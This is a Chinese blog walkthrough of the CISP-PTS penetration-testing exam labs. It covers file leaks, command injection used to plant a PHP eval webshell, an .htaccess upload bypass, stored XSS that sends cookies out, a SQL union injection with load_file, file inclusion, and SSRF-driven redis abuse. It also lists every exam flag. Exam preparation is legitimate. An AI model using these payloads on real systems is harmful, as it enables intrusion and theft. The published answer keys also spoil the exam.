CISP-PTS满分考题全解

作者:zngeek(蓝极战队bluegeek)

from:www.zngeek.com

mail:zngeek@pm.me


0X00 前言:请认真阅读


本篇文章为国测中心认证的渗透专家考题全解,以真实的考试环境及操作机为例,并且详细讲解各种答题技巧及注意事项,如果你详细阅读理解了该文章,考PTS将手到擒来!!![手动狗头.jpg]


靶机数量:6(基础题4,综合题2)

总分:100(基础题40,综合题60)

KEY数:10(基础题4,综合题6)


每个KEY为10分,基础题每个靶机1个KEY,综合题每个靶机3个KEY


考试整体难度:★★★☆☆ 3星

靶机地址:192.168.31.211:3600-3604


PTS考试考场会提供两台操作机,分别是WIN7和kali,

操作机不能进行任何上传下载操作,所以并不能使用操作机以外的任何文件。

0.png


本文使用的任何工具、字典及文件等等均是考试操作机上自带。


0X01 基础题目之信息泄露


1.png

2.png


用御剑目录扫描工具,探测出存在www.rar的压缩文件

3.png


下载解压后发现一个info的文本文件,里面内容如下:

4.png


vi编辑非正常退出会有swp临时缓存文件,所以直接访问http://靶机/config.inc.swp下载该缓存文件,打开后成功找到了KEY

5.png


KEY为:PLwDPzFp


0X02 基础题目之命令执行


6.png

7.png


该题目我以前写过一篇文章详细分析过,

这里使用考试时的操作机再详解一遍


访问vul.php,直接返回了以下页面,

是需要我们来审计这段代码从而找出可以利用的地方

代码如下:

8.png


为了方便大家理解,首先给每行代码每一行写上注释

如下图:

9.png


从注释的代码,我们可以逐步分析该代码块的业务逻辑


1、定义一个文件夹路径的变量

2、创建该文件夹

3、切换到该文件夹工作

4、判断GET方式接收的参数cmd不为空且长度不大于30,就执行该cmd命令

5、判断GET方式接收的参数reset不等于空,则删除创建的文件夹以及里面所有的内容

6、高亮显示当前php文件的所有代码

7、打印输出访问者的ip


这里显而易见,我们只要get提交cmd参数到vul.php页面,且参数长度不大于30,就会执行我们提交的命令。


首先我们需要计算出我们文件夹的路径

知道了文件夹的路径为“/usr/local/apache2/htdocs/sandbox/加上MD5加密的cisp-pts+本机IP地址”

后面的MD5值加密的文件夹名可以直接计算出来,

但是考试环境是不通外网的,所以,不能通过在线MD5等等web计算,可以通过操作机上编码工具MD5编码

10.png


最终我们得到要创建文件夹的路径为/usr/local/apache2/htdocs/sandbox/a9e8722136b72c6508d9cdb7df352ddc


直接写一个一句话木马

http://靶机/vul.php?cmd=echo+'<?php+eval($_POST['1'])?>'>1.php

但是我们的cmd参数长度明显超过了30,所以代码并不会执行我们的命令

这里可以通过追加文件的方式,分两次写入

第一次:

11.png


第二次:

12.png


注意:第二次追加数据应该是>>两个符号

这样我们就在1.php文件里面写入了我们完整的一句话木马“<?php eval($_POST['1'])?>”


用菜刀连接http://靶机/sandbox/a9e8722136b72c6508d9cdb7df352ddc/1.php

密码为1

成功连接上webshell

并且在web的根目录下找到了KEY

13.png

14.png


KEY为:DWAOdLQk


0X03 基础题目之文件上传突破

15.png

16.png


不能上传php文件

17.png


经过测试,得出结论,该上传过滤仅仅只是判断后缀名,

不会判断文件类型等等,只要包含'.p','.ph','.php'的后缀名,均无法上传

18.png


这里常规的绕过方法肯定是不行的,经测试,其他很多后缀名靶机是不过滤的,比如说htaccess[手工狗头.jpg]

这里可以通过上传.htaccess文件让php解析我们指定后缀名的文件

.htaccess文件内容如下,意思是将文件zngeek.zn当作php5来进行解析

19.png


上传.htaccess文件以及我们的一句话木马zngeek.zn

20.png

21.png


连接http://靶机/up/zngeek.zn ,密码1

在web根目录下找到了key

22.png


KEY为:uAMeHui4


0X04 基础题目之流量分析

23.png

24.png


通过提示下载流量包,导入到wireshark开始分析

25.png


首先过滤一下,仅看http的包,在这里发现了一个很可疑的包

26.png


继续往下看,发现是一个压缩文件

27.png


将字节流全部导出成压缩文件,发现需要解压密码

28.png


继续往上分析,追踪一下字节流,成功的找到了密码

29.png


密码为Adm1n%21,URL解码%21是!,所以解压密码为Adm1n!

30.png


在web目录下成功找到了KEY

31.png


KEY为:4tEm21x5


0X05 综合大题(一)

32.png


这道题有3个KEY,分别要使用到XSS攻击,SQL联合注入,以及文件包含漏洞


经过测试,发现页面post.php存在存储型xss,

这里可以直接写一个反弹cookie的xss将管理员的cookie反弹回来

33.png


在本地开启nc,监听端口9115,成功的返回了cookie

34.png


修改cookie为返回的cookie,成功进入管理后台,并且找到了KEY1=GzyD4X2J

35.png


在edit.php中发现了联合注入漏洞,直接get提交payload

id=123123/**/UniOn/**/SelEct/**/1,2,load_file(%22/var/key2%22),4#

将/var/key2文件中的key读出来,KEY2=wE58i4Z8

36.png


在setting.php中发现了文件包含漏洞

37.png


直接get提交payload

page=/tmp/key3

将/tmp/key3文件中的key读出来,KEY3=HSIC3uM7

38.png


至此,该综合题三个KEY全部找到,分别为KEY1=GzyD4X2J,KEY2=wE58i4Z8,KEY3=HSIC3uM7


0X06 综合大题(二)

39.png


本题有3个KEY,分别使用了SSRF攻击以及redis的利用


如果直接使用http://127.0.0.1/会发现被waf拦截

40.png


改成localhost后,成功绕过waf,并且在robots.txt文件中发现了一个backup.zip的文件

41.png


直接下载这个zip文件后,发现里面有一个note.txt,内容如下:

42.png


在提示中,直接SSRF 5562端口,可以得到第一个KEY=F5Qyixeq

42.1.png


根据第二个提示直接访问靶机IP加6738端口是无法连接上redis的

43.png


这里需要继续使用SSRF来操作redis

可以有很多种方式,这里演示两种方式,第一种写webshell,第二种写公钥连接ssh


通过SSRF逐条执行以下命令通过redis写webshell

44.png

45.png


写入成功后,直接连接webshell

http://靶机/a.php 密码为1

在web根目录下找到KEY2=01aLzgmZ

46.png


在计划任务中,可以找到KEY3=a2V5MzpWTDJvVllYMg==

47.png

48.png


base64解码得到KEY3=VL2oVYX2


下面再说一下redis写公钥连接ssh的方法


首先生成公钥和私钥

49.png


同样使用SSRF逐行写入如下命令,公钥是我们刚刚生成的公钥

50.png

51.png


然后直接ssh带上我们的私钥访问,成功连接上ssh

KEY的位置同上

52.png


当然通过写计划任务反弹shell这些方式都可以,本题主要是通过SSRF对redis的利用


至此,该综合题的三个KEY全部找到,分别为KEY1=F5Qyixeq,KEY2=01aLzgmZ,KEY3=VL2oVYX2


恭喜你,到这一步,你已经得到了10个KEY,也就是获得了满分100分。


0X07 注意事项(不定期更新)


0x061 认真核对key


操作机是通过网页远程访问的,并且操作机是不能连接广域网的,所以不能传输任何文件,

所以我们在操作机上拿到的key要在真机上填写的话,需要手动输入,务必要认真核对key是否输入正确!


0x062 Ask me


有任何问题,可以邮件联系作者 zngeek@pm.me ,或者可以在zngeek_blog留言http://www.zngeek.com


本文链接:http://zngeek.com/znblog/post/3.html 转载请注明出处~~~~~~

分享到: